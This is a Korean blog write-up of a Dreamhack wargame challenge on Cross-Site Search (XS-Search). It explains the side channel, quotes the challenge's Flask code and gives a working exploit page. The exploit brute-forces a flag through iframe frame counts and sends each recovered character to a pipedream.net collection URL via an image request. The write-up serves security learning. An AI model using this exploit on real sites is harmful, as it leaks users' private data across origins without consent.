Cross-Site Search (CS-Search)
- 다른 오리진에 요청을 보내고 응답값을 읽어오는 것은 Same Origin Policy 정책에 위반되기 때문에 일반적으로 불가능
- 브라우저에서 예외적으로 외부 출처에 대한 접근을 허용해주는 경우 (SOP 영향 x) = <script> , <img> , <style>
// 리소스를 불러와야하는 HTML 태그들
- 서버 응답 내용을 확인할 수는 없지만, 다른 오리진에 요청을 보내고 요청에 소요된 시간, 응답 코드, 창의 프레임 개수 등의 요소를 활용해 exploit
- blind SQL Injection과 비슷한 형태의 부채널 공격 방법
// 알고리즘의 약점을 찾거나 무차별 공격을 하는 대신 암호 체계의 물리적인 구현 과정의 정보를 기반으로 하는 공격 방법
ex) script 태그를 이용한 XS-Search
function req(url) {
var script = document.createElement('script');
script.src = url;
script.onerror = () => { console.log(404); }
script.onload = () => { console.log(200); }
document.body.appendChild(script);
}
req('https://example.com/search?query=a');
req('https://example.com/search?query=t');
...
// 콘솔에 출력되는 에러 메시지를 기반으로 한 글자씩 비밀값 leak 가능
// return Promise((resolve, reject) => { ~ } ); 문법과 async / await 문법 이용해 코드 확장 가능
문제 분석
@app.route('/search')
def search():
query = request.args.get('query', None)
if query == None:
return render_template("search.html", query=None, result=None)
for note, private in notes:
# FLAG가 적힌 note에 대해 remote_addr이 127.0.0.1 이거나 헤더의 HOST = 127.0.0.1:8000 이면서
if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
continue
# 또 해당 query가 note에 들어있으면
if query != "" and query in note:
# 결과 출력
return render_template("search.html", query=query, result=note)
return render_template("search.html", query=query, result=None)
- 검색 결과가 존재할때만 search.html에 iframe element 생성하고 그 안에 note 내용 적어준다
- FLAG가 적힌 note는 로컬에서만 검색된다 (http 요청을 보낸 클라이언트의 ip 주소가 127.0.0.1 혹은 요청을 보내려는 서버의 호스트 이름과 포트가 localhost:8000 이어야 함)
=> iframe 창의 개수로 인자로 전달해준 query가 FLAG에 포함되는지 확인 가능할 듯
@app.route("/submit", methods=["GET", "POST"])
def submit():
if request.method == "GET":
return render_template("submit.html")
elif request.method == "POST":
url = request.form.get("url", "")
if not urlparse(url).scheme.startswith("http"):
return '<script>alert("wrong url");history.go(-1);</script>'
if not read_url(url):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
- 전달해준 url scheme은 http 혹은 https:// 여야 한다
- 개인 서버에 exploit 파일 업로드해놓고 거기 접속하도록 하여 스크립트 내용 실행
취약점 분석
사용할 태그 결정
- iframe 태그를 이용해 SOP를 위반하지 않고 다른 오리진에 요청을 보내보자
- iframe/frame 태그의 경우 contentWindow property를 통해 하위 요소(생성된 Window 객체)에 접근 가능하다
frame 개수를 통해 데이터 leak
- contentWindow.frames.length 를 통해 하위 요소의 frame 개수를 확인할 수 있다
var iframe = document.createElement('iframe');
iframe.src = 'http://host3.dreamhack.games:23411/search?query=DreamHack';
iframe.onload = () => { console.log(iframe.contentWindow.frames.length); };
document.body.appendChild(iframe);
- 원격지에서도 접근 가능한 note 내용에 대해 쿼리문으로 검색했더니 1이 제대로 출력된다.
exploit 코드
<iframe id="frame"></iframe>
<img id="img">
<script>
function req(url) {
return new Promise((resolve, reject) => {
var iframe = document.getElementById("frame");
iframe.src = url;
iframe.onload = () => {
if(iframe.contentWindow.frames.length>=1) resolve();
else reject();
};
});
}
async function sendrequest(query) {
try {
await req("http://localhost:8000/search?query="+query);
return true;
} catch(e) {
return false;
}
}
var flag = "DH{"
var charset = "0123456789abcdef"
async function exploit() {
for(var i=0; i<32; i++) {
for(const ch of charset) {
if(await sendrequest(flag+ch)) {
flag += ch;
var img = document.getElementById("img");
img.src = "https://ena4gusnyxj5.x.pipedream.net/?"+flag;
break;
}
}
}
}
exploit()
</script>
- 이 코드를 개인서버에 올려두고, /submit 페이지에 해당 URL을 건네줌으로써 개인서버의 exploit.html로 접속해 스크립트가 실행되도록 한다
- selenium webdriver의 타임아웃이 3초로 세팅되어있어 exploit() 함수의 반복문이 실행되다가 중간에 끊긴다
- 일부 구해진 flag를 코드에 반영하고 다시 돌리면 된다
cf) sendrequest() 함수에서 'http://localhost:8000/' 대신 'http://host3.dreamhack.games~' 사용했다가 Mixed Content 에러 발생해서 애먹었었다...
암호화된 HTTPS 기반의 사이트에서 암호화되지 않은 HTTP 사이트에 요청을 보내서 Mixed content 에러가 발생한 것.
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
위 코드를 exploit.html 헤더에 추가하면 에러가 발생하지는 않지만 http를 강제로 https 로 업그레이드하는 방식이라 https://host3.dreamhack~ 여기에 접근하려 하면서 제대로 된 값이 받아지지 않는다
서버에서 내 개인서버에 접속한 상황이므로 localhost:8000 으로 현재 로컬에서 실행중인 /search 페이지에 접근 가능!
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Blind SQL Injection Advanced (1) | 2023.07.14 |
---|---|
[Dreamhack Wargame] DOM XSS (0) | 2023.07.09 |
[Dreamhack Wargame] Relative Path Overwrite Advanced (0) | 2023.07.07 |
[Dreamhack Wargame] Relative Path Overwrite + RPO 기법 정리 (0) | 2023.07.07 |
[Dreamhack Wargame] CSS Injection (5) | 2023.07.05 |